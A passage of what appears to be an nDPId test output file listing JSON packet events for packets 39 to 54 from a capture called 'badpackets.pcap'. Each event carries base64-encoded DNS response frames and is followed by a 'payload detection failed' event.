qBNkvCE04UYgFElS0HI7a2i+uOQGzkCRUhlt88i15\/SW6pLNi7d1z4bwWT4IQO6zK9DN8onRZwE2U9p3OkmdXoT+m92MCVkssnEnbW4QP7TpPEflt6+tmQbWtQIhhbOmeIP69piuNsKdv\/4OLfIF3EjA+gABAAEAAVGAAASbxo5QwQwAAQABAAFRgAAEm8aOUcA="} +00176{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":39,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":514} +01215{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":40,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1495451408,"pkt_ts_usec":58099,"pkt_caplen":673,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":673,"pkt_l4_len":0,"pkt":"xDRrta3IeLr5aHlnCABFYAXcBHwgADoRZJhCxpE3zLpQ5QA1pnIIR2qM4CyEEAABAAIAAwANAjcwATIBNgMyMTYHaW4tYWRkcgRhcnBhAAAMAAHADAAFAAEAAVGAAAgCNzACNjTAD8A1AAwAAQABUYAACQN1cDIDY29tAMA4AAIAAQABUYAAGgptYXR0ZXJob3JuCXRlbGVnbG9iZQNuZXQAwDgAAgABAAFRgAAJBmNhc3RvcsBpwDgAAgABAAFRgAAJBnBvbGx1eMBpwIQAAQABAAACWAAEQsaRY8CEABwAAQAAAlgAECABBaANAP\/\/AAAAAELGkWPAmQABAAEAAAJYAARCxpE3wJkAHAABAAACWAAQIAEFoA0A\/\/8AAAAAQsaRN8BeAAEAAQAAAlgABELGkQzAXgAcAAEAAAJYABAgAQWgDQD\/\/wAAAABCxpEMwIQALgABAAACWAEhAAEIAwAAAlhZKqfXWSGE3G6hCXRlbGVnbG9iZQNuZXQADWaWQ2KrMpM7yQCKVCdUF8CZsd8UuOLGe\/axb+Ay\/NWTVA3Zr0BSUADykeduIEZBBfslszxBCLtWJjw97buDzEvoJ6dPQ\/smffR9A7PBcA8vGMrx\/vYm0nKDfYKiwKXB3cayT61ofU5\/+O4eZ8mK7zyDd4NVmMUuKwz6hilRNOPFveA0ak+EzWMNuCSyDupcNYAy\/eZHdtxUD44NujGkG9U7ybrsgbYRculPaexgOKxu6wIMeuCHPGoausWOdwgGMsZ\/9a+crtZbVDgOKg2GuqdNoxaZcaB8m2G+d85wvTgybkqjMIcDjiFy8SOVvk1UORjiSqP3gTvApy\/X3t7tXsCEAC4AAQAAAlgBIQAcCAMAAAJYWSoEmVkgM1xuoQl0ZWxlZw=="} +00176{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":40,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":639} +01074{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":41,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1495451408,"pkt_ts_usec":74500,"pkt_caplen":568,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":568,"pkt_l4_len":0,"pkt":"xDRrta3IeLr5aHlnCABFCAXcCjcgADcRYglCxpFjzLpQ5QA1WQYH3k5\/2RyEEAABAAIAAwAJCm1hdHRlcmhvcm4JdGVsZWdsb2JlA25ldAAAHAABwAwAHAABAAACWAAQIAEFoA0A\/\/8AAAAAQsaRDMAMAC4AAQAAAlgBIQAcCAMAAAJYWSXcEFkcPtxuoQl0ZWxlZ2xvYmUDbmV0ACggce0e+l82m6K57G\/nkzZgF7\/\/\/F9ux6leX5Gn+5inty7\/MjZNahMqNAHQwnC8vBMYfHHAF8hSb7c8eCks0+Dh+nnbeUe4XgsM66nTr32JW46kbrQR89HZRJDZQZWC+piGiT97i3CT+WNQCbre\/CDP9NS8AgJkNfbP354St0OVmQlQhiKyrHqR2Kpg6iWBtjVOGzxTy9IEtmWsVcJvOfaeM\/T5fFq43DPnnWT055vSvfug0FyuSqsrvs\/uahkjmn0wSqWV9DY2l5rG7j2q5sqVxLwtjtu+3l3ZdAyTFxyFLOsRGViZqTvNnralxPJSMhvNxRaX7xgtnifsOR1srwrAZAACAAEAAAJYAA0DbnMyBmFzNjQ1M8BuwGQAAgABAAACWAAGA25zMcGDwGQALgABAAACWAEhAAIIAgAAAlhZKlysWSGE3G6hCXRlbGVnbG9iZQNuZXQAbS4gA1OJVXiOfiH1NhqitGHP\/bRoUOiALgkqpRDu8skb9xITGwMgLUOh4ksNJOEiOZjsYKQKyAOJP7f\/bfAaIkXhYw=="} +00176{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":41,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":534} +01909{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":42,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1495451455,"pkt_ts_usec":633405,"pkt_caplen":1191,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":1191,"pkt_l4_len":0,"pkt":"xDRrta3IeLr5aHlnCABFAAXcW20gADURSGuMrBHtzLpQ5QA1MvoKTXoKXkiEEAABAAIABAANCmNvLW9wcy1ub3MBbARub2FhA2dvdgAAAQABwAwAAQABAAAAHgAEjFpO18AMAC4AAQAAAB4BHgABBQQAAAAeWSvzilkiuQrWCwFsBG5vYWEDZ292AEw02D+blunLpNdEFin1+qF0AsFQBP\/P93\/ArPYSgPaECAOIBBNrIQ+EUDGS\/sThqanuNHzZj1SVWA9CAzO98GFijUnpdSifTO4x9Qo3CG05zf3N\/s5fFZr1besYCBH9wyyidJjde0HfykraB9D+hG63vApNYAPtCvzquBjiCZq6MQB9mYwB30A9ZMk5CnTRaghcrAc+u1y4AVxKQ0y7ITcqyzwRmRPaDFzxHD6jH9BaBXDnRncsq\/RCjaVuVUM5zOySd85R0L1mEfj+F454c85g1Fzcbn5qsZOXLTMLqQ3FRWJkzSALdhO0DVc9mEVu5bmPyDDblEDXH\/N5epppDPHAVQACAAEAAVGAAAgFbnMtbnfAV8BVAAIAAQABUYAABwRucy1lwFfAVQACAAEAAVGAAAgFbnMtbXfAV8BVAC4AAQABUYABHgACBQMAAVGAWSvzilkiuQrWCwFsBG5vYWEDZ292AKWxpXpNJk\/yTBJP4lU5VttQSdOCPsApD58HTwd7AUzusozvULgo9tJJihlFAQhFSC\/z2qSmGIRA+D\/AEYhYbnkCSlby\/TZn6728QBrsfm\/eTvuVlRcio8ZoKvDceEQjlZ0XdE9\/8FAzxpv4JxMfu37r6Pqo\/kHGUh0O9dYKY5KQ4vRASr9A6ColBpM0Fp6jzxLZgQIgxecmhXKunw6oYe4uAJwPmAwuOtGafuBkrw3+iyL1IFpTT+ieoMjqzlQIJ34apHrtLI7Qpy3V3rCfrvrhFsQK3Blu25MTCVuij\/hrkBYBvavbW5oV1htZ0xgzg+x\/o5Nhl8E5Ss8ok5D\/IczBgQABAAEAAVGAAASMWiHtwYEAHAABAAFRgAAQJhAAIIAAjAAAAAAAAAACN8GUAAEAAQABUYAABIysEe3BlAAcAAEAAVGAABAmEAAgiACMAAAAAAAAAAI3wW0AAQABAAFRgAAEoTcgAsFtABwAAQABUYAAECYQACCMAIwAAAAAAAAAAALBgQAuAAEAAVGAARwAAQUDAAFRgFkri31ZIlD9PnMEbm9hYQNnb3YAHTxu3oTuiFuFiCLpTl\/MK89BN9JBGjfKVUZAF3gZCKhMwx34GFStLHWeXnyc0jpz6oB3UKoWYWqIzl5uLmkTVdATO05wGhRkXmoRFvqHJQ49RQ+pBTNvjvfsZjt4sxWFaBX6dcM71YC5bIV281hFIsnrSJ79QSihSBHieSy9t5YTGlF5LCJijNEWEHJYxDID1Mza+tXKdNXJWHbkQhQwRPJKGX91jqgFPlz4hmfje77PrtKaUJ8h5eApMH+gaNXsNFvzV3nB+6kGVXv2VWVXVPXI3XzMFa8CKHbYrFGd7LJ4f5PFB725JCBxTQ4KeEOuBE0WXVqE9VoK1uYoB4PAK8GBAC4AAQABUYAB"} +00177{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":42,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":1157} +00663{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":43,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1495451467,"pkt_ts_usec":899946,"pkt_caplen":268,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":268,"pkt_l4_len":0,"pkt":"xDRrta3IeLr5aHlnCABFAAXcLicgAPMRVGeA54D7zLpQ5QA1cboMeow9trSEEAABAAIABgAVBmdzbGIwMgNubG0DbmloA2dvdgAAHAABwAwAHAABAAAOEAAQJgfyIAQfFAUAAAAAAAAAA8AMAC4AAQAADhAAnwAcBwQAAA4QWT\/Mx1kYPpsoHANubG0DbmloA2dvdgA8qDsghhg3NnlrIvnzqjoi2t8F9ueZTTrSfT36cTwMHvoAfuu6t8YRYeVd3+cOzU8zRktKFuhy8uB4+IQMr8Ww4Pznbu1iFnscMdfQImu1yTjxzcTFcCU7ST4qi8TAkxt4FjZaNJAfAflP93iMa9IgaD+Y6GcxRg=="} +00176{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":43,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":234} +01490{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":44,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1495451472,"pkt_ts_usec":365607,"pkt_caplen":881,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":881,"pkt_l4_len":0,"pkt":"xDRrta3IeLr5aHlnCABFAAXcaRtgAPMRqz3AUm\/FzLpQ5QA1j7gJF4rJ+8eEEAABAAEAAwATA3d3dwZ2ZXRtZWQHdWNkYXZpcwNlZHUAAAEAAcAMAAEAAQAAcIAABKntbQvAEAACAAEAAHCAAAoHZG5zLXR3b8AXwBAAAgABAABwgAAKB2Rucy1vbmXAF8AQAAIAAQAAcIAADAlkbnMtdGhyZWXAF8BaAAEAAQAAOEAABIB4\/AnAWgAcAAEAADhAABAmB\/gQA\/AAAQAAAAAAAAABwHAAAQABAAA4QAAEwFJvxcBwABwAAQAAOEAAECYH+BAD8AADAAAAAAAAAAPARAABAAEAADhAAASAePwKwEQAHAABAAA4QAAQJgf4EAPwAAIAAAAAAAAAAsBaAC4AAQAAOEAAnwABCAMAADhAWsOuUljib5UKvAd1Y2RhdmlzA2VkdQBgF1svDW8JHo\/wOWjspf2N0RNsbS6uvhUBxwA1KawlxeLdYB8S\/ocCl3N3ydK+qLDhjdhLtD+y1QSyja9HnvA54C1qS+Lx80TVJqHkovkt5MfwSVzvMBB5t04PnvWANS1PFZYcsrJm5+kOLUE3vmD+lmjD0I6VOosJcibl9MbFksBaAC4AAQAAOEAAnwABCAMAADhAWsOuUljib5Wtvgd1Y2RhdmlzA2VkdQCYpaPXPGLYHCsxPzngvxXQKvBhCD0A6imizrPpMhGtXepeyR9Bf1Hq+y94HWm5M11uIqfwyAqaIyqKs8Qi6HbUYBY06DPk9fSI4Jwmw8Ie7Sv5COEyuPyA0LUsNeOGgVsrsuoTICsUxBAEI0LIU+Gy7f\/+GxOZF6USDZ71RzrXhcBaAC4AAQAAOEAAnwAcCAMAADhAWsOToVjiVjwKvAd1Y2RhdmlzA2VkdQCAqNZBwMbzrMNkWZgH5Y0jgozm70jz7wlfuu\/EL\/mHQiFwdlsNK2doaPPqBOsfGm9gLXtCx5VeApk7UI9i\/jxHFrXqCpXnFbTD8mocsaTvCXobB8UPlnpxRae3uC1K3rMjuf5tobIXmI1J0b0pui+eV4qbOnmtYgtJ5dMhNi7KZcBaAC4AAQAAOEAAnwAcCAMAADhAWsOToVjiVjytvgd1Y2RhdmlzA2VkdQAgvphHwDdhho6Wd\/l05X2KAiP95GF5Y1\/Jt5Q="} +00176{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":44,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":847} +01490{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":45,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1495451472,"pkt_ts_usec":447578,"pkt_caplen":881,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":881,"pkt_l4_len":0,"pkt":"xDRrta3IeLr5aHlnCABFAAXcPAtgAPURieKAePwKzLpQ5QA1NjQJFwxygzCEEAABAAEAAwATA3d3dwZ2ZXRtZWQHdWNkYXZpcwNlZHUAAAEAAcAMAAEAAQAAcIAABKntbQvAEAACAAEAAHCAAAoHZG5zLW9uZcAXwBAAAgABAABwgAAMCWRucy10aHJlZcAXwBAAAgABAABwgAAKB2Rucy10d2\/AF8BEAAEAAQAAOEAABIB4\/AnARAAcAAEAADhAABAmB\/gQA\/AAAQAAAAAAAAABwFoAAQABAAA4QAAEwFJvxcBaABwAAQAAOEAAECYH+BAD8AADAAAAAAAAAAPAcgABAAEAADhAAASAePwKwHIAHAABAAA4QAAQJgf4EAPwAAIAAAAAAAAAAsBEAC4AAQAAOEAAnwABCAMAADhAWsOuUljib5UKvAd1Y2RhdmlzA2VkdQBgF1svDW8JHo\/wOWjspf2N0RNsbS6uvhUBxwA1KawlxeLdYB8S\/ocCl3N3ydK+qLDhjdhLtD+y1QSyja9HnvA54C1qS+Lx80TVJqHkovkt5MfwSVzvMBB5t04PnvWANS1PFZYcsrJm5+kOLUE3vmD+lmjD0I6VOosJcibl9MbFksBEAC4AAQAAOEAAnwABCAMAADhAWsOuUljib5Wtvgd1Y2RhdmlzA2VkdQCYpaPXPGLYHCsxPzngvxXQKvBhCD0A6imizrPpMhGtXepeyR9Bf1Hq+y94HWm5M11uIqfwyAqaIyqKs8Qi6HbUYBY06DPk9fSI4Jwmw8Ie7Sv5COEyuPyA0LUsNeOGgVsrsuoTICsUxBAEI0LIU+Gy7f\/+GxOZF6USDZ71RzrXhcBEAC4AAQAAOEAAnwAcCAMAADhAWsOToVjiVjwKvAd1Y2RhdmlzA2VkdQCAqNZBwMbzrMNkWZgH5Y0jgozm70jz7wlfuu\/EL\/mHQiFwdlsNK2doaPPqBOsfGm9gLXtCx5VeApk7UI9i\/jxHFrXqCpXnFbTD8mocsaTvCXobB8UPlnpxRae3uC1K3rMjuf5tobIXmI1J0b0pui+eV4qbOnmtYgtJ5dMhNi7KZcBEAC4AAQAAOEAAnwAcCAMAADhAWsOToVjiVjytvgd1Y2RhdmlzA2VkdQAgvphHwDdhho6Wd\/l05X2KAiP95GF5Y1\/Jt5Q="} +00176{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":45,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":847} +00709{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":46,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1495451502,"pkt_ts_usec":567716,"pkt_caplen":298,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":298,"pkt_l4_len":0,"pkt":"xDRrta3IeLr5aHlnCABFAAXcNasgADkRNoKili+uzLpQ5QA13pAG0FwHT9+EAAABAAYABgABCm15cmlhZC14Y3IDeGNyB2NvbWNhc3QDbmV0AAAwAAHADAAwAAEAAAA8AIgBAAMFAwEAAbCEE7E\/tK2nbtUQfpCepzR9frAaFkveZPoT70D7sMwOQ\/+xk54PDTVfx31QpdhWXZxF\/qABasrJ\/6LYfaZOmcQd4SE2DinBGMT4mCTb3tu0MWKWTlWYTQ08jmf+Gj4hy3cOj1CHK0wnSFV850\/91\/y71SWIEMLStLnWPdodVRCzwAwAMAABAAAAPAEIAQEDBQMBAAHEJufWP+5+U3MEy5wDHiagptJ60KZhTslmbiAZzWh\/R9+Ert+MpcHrkSaQsQ=="} +00176{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":46,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":264} +01457{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":47,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1495451558,"pkt_ts_usec":382420,"pkt_caplen":858,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":858,"pkt_l4_len":0,"pkt":"xDRrta3IeLr5aHlnCABFAAXcgwIgAO4RHAeGQ2QkzLpQ5QA1kV0JAMGOMPmEIAABAAgAAAABA2xiZANlcGEDZ292AAAwAAHADAAwAAEAAVGAAQgBAAMKAwEAAeFeeMF81JKKXyZ7m1fNWItdfwnHSJNneiWKkU4z2Dds6bAcMAU825F5fa9NfMMZJ1ofvKubnNMwvEGV7LA8h9brhYvQ10pMxj96kJZe+D2O7Ie\/U1L+VkQZ1frUDUuaBBXlpisapE85PJvpkCTjRzTK5qfC1E6SFDqWtZU3beWTOHPdeWuk+L65g0ywzAgTHi3bTkvxCU0YMUSrmM\/ucRJhZSp2Bnnu9e5m0wWVcQN8RCwwKM4581XZ86AZEsMcNMn4lgfGbO+ePZEUKN4jO3xsvTDL8VCk4S6VztoVAr8CEESKK9QNE1uUtDhbA9peZVictCS6cvQdOaTSDVAe2XvADAAwAAEAAVGAAQgBAAMKAwEAAd4Ik\/y5u\/4IGOhG4VVn7buHGb4ZWWngeCtt0OswAlaKe7FLhQgiGIJppBUZzlluNA5O2z8uFn\/6vWcjc1APkIM8gTsexgXG323L+zrIDzJcesj+XxBGl3maMZApgnsAZwFPAXNwNwEd01ugaQCevUjlvvpmQcMCgMv\/o5tuAiZQn6osfIl+95UJAH0ZoIKJkmeWYoGfMFLJeDZVa92beqMioYSqa5qhiSFtNLMmVkEyO4srbnaIMRv2nTboTEx5uIQZAKEhoQiXCLMvnBvEdR4Bmlz2s25A5KJRfNyhRIPY5lTpaPW6s2MAdi6wQOi\/tq2vQucnMXojmyYDizNjnxHADAAwAAEAAVGAAQgBAQMKAwEAAcIMnmfbk6YNzYUpG7ynL2OsKhTqhlCotZUrmruLmEWBoYibBwJ4CPXSrMDYIOj2\/UHdAWHfr3HEPagX8To21t8Hq8NRY8e+GloeYTuhJFOva2ivoXj\/E4V0VfeJJVuHTY0LKwyYoTcgGJU9hLfK7JOaOq3a80oNHJ9v5iaJ8Vvi5adW1QquXLQWZtNjVOho8xmeZ\/bqiUmkgaDPOoSlyAdf9GkOJkfVzTpRgahyLRTLJYP1dcShPIBW\/gBn0naElasEgYAZ62erTyMj+Dj+McLObt+enoOo"} +00176{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":47,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":824} +00682{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":48,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1495451574,"pkt_ts_usec":398672,"pkt_caplen":282,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":282,"pkt_l4_len":0,"pkt":"xDRrta3IeLr5aHlnCABFAAXcvxEgADcRsUa4rRdszLpQ5QA1oygGwFz7eMKEEAABAAQAAAABDWp1ZGljaWFsd2F0Y2gDb3JnAAAwAAHADAAwAAEAAA4QAQgBAAMHAwEAAdl6vxiL++F\/pjIKqj9e7RaBV5rwA3o9DNcv0h4HQ93WZJ+2YrrhIVTBghHPFs+8FEN7Xdx2djyC1pjSprgXQ2HeWbJZy1rO2CCoH12hxAbUEQnPy1BYYsMpATL7FFzDIup6CYAV7Is7xTwPl\/Wm5B0cxltQlAHAlLMQiylRrZup5SRgZQGoi1q7dsIP6kgvfOSmZGIwr5OxtBC\/RzC+7OcNnmbexBAx\/ujQjwn1ITH0JeAIU+9jiKC+"} +00176{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":48,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":248} +00499{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":49,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1495451582,"pkt_ts_usec":606401,"pkt_caplen":146,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":146,"pkt_l4_len":0,"pkt":"xDRrta3IeLr5aHlnCABFAAXceY4gADMRzHRRW60TzLpQ5QA1plQGOJZ\/AaiEEAABAAIABAAJCGdyZG5zLWRlBWRlbmljAmRlAAABAAHADAABAAEAAA4QAARRW6FQwAwALgABAAAOEADcAAEIAwAADhBZNR2QWSKokGYrBWRlbmljAmRlAJfVO1vdsL8bdrClwW8="} +00176{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":49,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":112} +00478{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":50,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1495451603,"pkt_ts_usec":49667,"pkt_caplen":131,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":131,"pkt_l4_len":0,"pkt":"xDRrta3IeLr5aHlnCABFAAXc\/D8gADMRuiiBBg0DzLpQ5QA1arUGKRUJU+aEEAABAAEAAgANAzEwMgE0AzE2MwMxMzIHSU4tQUREUgRBUlBBAAAMAAHADAAMAAEAAAcIAB0GdGltZS1iCHRpbWVmcmVxB2JsZHJkb2MDZ292AMASAAI="} +00175{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":50,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":97} +00724{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":51,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1495451611,"pkt_ts_usec":805112,"pkt_caplen":314,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":314,"pkt_l4_len":0,"pkt":"xDRrta3IeLr5aHlnCABFAAXcDxkgADkRXROili+vzLpQ5QA1TDYG4IL0xMOEAAABAAYABgABDmxpbmVhci10dmUtcGlsA3RvcAdjb21jYXN0A25ldAAAMAABwAwAMAABAAAAPACIAQADBQMBAAG7xRiYkSu1FrneRCH6ntrsauJWLw6fk1RtMzYYwMb16Knn1SeDLbMj6jRuPHc\/N9CDpNHKBwY7D8GGYJHtQOlY1BRgtvcl2XG\/z4KT5bOP8sBaXSr1Q60QyLTjEldwC8Hcrwfq0nlgSqdeedPWUZEiInPjf0m6Q0yG3lTY3p3jMcAMADAAAQAAADwBCAEBAwUDAQABl4a8UCzCZt5CAPJ1+RL9MCCZmtygIfM+1EkpxZWzKFW6hTlX1fvx29DxB35W993mMAjv0961og8="} +00176{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":51,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":280} +01328{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":52,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1495451613,"pkt_ts_usec":183104,"pkt_caplen":762,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":762,"pkt_l4_len":0,"pkt":"eLr5aHlnxDRrta3ICABFAAXccLkgAEAR7frMulDlQpiWJQA17AcIoOzEWyCBoAABAAMABAANBnRpbWUtYQRuaXN0A2dvdgAAAQABwAwAAQABAAALHAAEgQYPHMAMAC4AAQAACxwAnAABBwMAAAcIWSp7HVkhN25NKgRuaXN0A2dvdgCGDxP8mtTYURB\/z7B7zxG9M2cDPFjwCkCpyC8hiadTCV1wXBnQsMkH14gORQid9hZZkwqvAJKxlHHGFpFXs3GK70k31UcnglQglR+Jb8PvkvYMpqGZLiMdOZ+8aMQzLgN424FbMJ7np\/GSsY0NKbDsZWUKs5FEyvfl5LyBAXKP1cAMAC4AAQAACxwAnAABBwMAAAcIWSp7HVkhN25p9QRuaXN0A2dvdgCYOPJp1LyXHjTZERVC1mhE\/fFAgBPnHg5CzHCfHFW\/kHrSlPUKJrKTtWO2J6nhnsslWGL7StwY\/Ds0w3d1K1BK2EXHmf7JoxCpUcbjrJzE2AWNOuFyYMsitmrbg7hKpTz5YORW9N+9SgnPiRBdVePJPZ0ZX+5rKPwGXiVkzOvJt8ATAAIAAQAAAIYABgNnZWHAE8ATAAIAAQAAAIYABgNiZWHAE8ATAC4AAQAAAIYAnAACBwIAAAcIWSpvIFkhMlpNKgRuaXN0A2dvdgB\/AugCl6Rz+sTdMBLd\/b9WzbTmwtSJRElGSiFaNkIXGL85DwZ8CN5XIraessCeREIcUwZxVSCZqTN+jQfSqvs0RCCsELGmZy1\/6te8q\/BHGZ6r5Yfp\/FixyK0YEzCx9kE6yxKwCHgAiZ9RYjXpdk7jwKD9iHCh9psgrmi4EqWisMATAC4AAQAAAIYAnAACBwIAAAcIWSpvIFkhMlpp9QRuaXN0A2dvdgClTY7jIx2EAO1rRXMS+rZG5e8+PelDpKXOMRzGWIjrQbBJVXqIaZDLeBgBTWgx3tBkiLlUy1bOdR3MF5sPTTggHRJuEc8rRcMhHY6s0g2zr9CNylE8o5Mcs+HT"} +00176{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":52,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":728} +00985{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":53,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1495451617,"pkt_ts_usec":290525,"pkt_caplen":508,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":508,"pkt_l4_len":0,"pkt":"xDRrta3IeLr5aHlnCABFAAXcdRkgAPQRTW+A50ABzLpQ5QA17tYHop3j4riEEAABAAIABQANBnN0YXRpYwZwdWJtZWQDZ292AAABAAHADAAFAAEAAVGAAB0JcHVibWVkZ292A3dpcARuY2JpA25sbQNuaWjAGsAMAC4AAQABUYABHgAFBwMAAVGAWr+PY1jk82PoEAZwdWJtZWQDZ292AJu6kQSEhR8egq7iff9kNvnUi3EB8Cqxahn7\/xnKCblnIeeP205Pcfvq58wdpFd4t2tLrbNoUdrfjjrIvtJTNm8AczdH8VxTTwKlZ544pPbKqSowUHJH8kt1BYbS08C6W\/koWBsjtLuk2wwJn3Xv1EHHGFTmeMXVa9Ykgp+szm4UYdPEnokSrW0ySALEqeqR1T8NYKCXtsBVthVcDs6IE2iJWsUHfJN\/ND5yD6NryHs5EYO0a5uiDSFdbl2a1e3U2IiqRcHf12Yi7nNig+en76ODdO7CGdj4XsXz8AYWndn30mHl316TfYk9Tr8TfkagYqHqYLV3kzp8Pim2wy5nSI7AOQACAAEAABwgAAkGZ3NsYjAxwELAOQACAAEAABwgAAkGZ3NsYjAywELAOQACAAEAABwgAAkGZ3NsYjAzwELAOQArAAEAAVGAABiP2QcBjJqKhZbbxHR4uEOouQ=="} +00176{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":53,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":474} +01302{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":54,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1495451617,"pkt_ts_usec":292283,"pkt_caplen":738,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":738,"pkt_l4_len":0,"pkt":"xDRrta3IeLr5aHlnCABFAAXccB0gAPMREnGA54D7zLpQ5QA1qyQOUPvPZ1uEEAABAAIABgATCWRuczEtbmNiaQRuY2JpA25sbQNuaWgDZ292AAABAAHADAABAAEAAVGAAASCDh0fwAwALgABAAFRgAEkAAEHBQABUYBaAL7qWRNw6s2+BG5jYmkDbmxtA25paANnb3YAqynlZlaIB4Smw1gmrgrhShXsg+fKpc9IVq+H0d8Wqe8ehWyuxMN5VtfcEaLC+EeL8bzU4KuotzpGoDCkxCZdXFHPVKuaX1nzyQKnX1ljBf8NzdObkudu7m5LKsZKBwHSNYuTy0jN791rNwOkeHjeiejuoDZvEfDwRbyO1nFBJ6h8isnkI\/0kQNd0201HZH6RGOQ2KqsqoOWUQCZawvaoql571eZD0z3ieQ\/7FwpiQ9vz\/VUXzC+SYsOOT1yPoZ8c6dYCXQY8gwTNOCDqJaGJMkzo17QL1DHP4vbFEiU+nL7o8yPZTSu\/e0+\/Z3T7PU000lQYL9r0d4LlePbetu84y8BaAAIAAQAADhAAAsAMwFoAAgABAAAOEAAGA25zM8BjwFoAAgABAAAOEAAGA25zMsBjwFoAAgABAAAOEAAFAm5zwGPAWgACAAEAAA4QAAwJZG5zMi1uY2JpwFrAWgAuAAEAAA4QASQAAgcEAAAOEFoAvupZE3Dqzb4EbmNiaQNubG0DbmloA2dvdgA+EebMkCne2CNH9\/msBB1ttxS45FhdXCD5iR18dVqPuT200zDdV4BFS01NU4MYeoc3XDyOxIWfU7WKy5Zs94YsWp3mz1cDLKuZG3MK\/hBxOol\/fcuIoTQU9\/sEzYKep6XHZu6d5e\/CGkcUh2Vks9\/py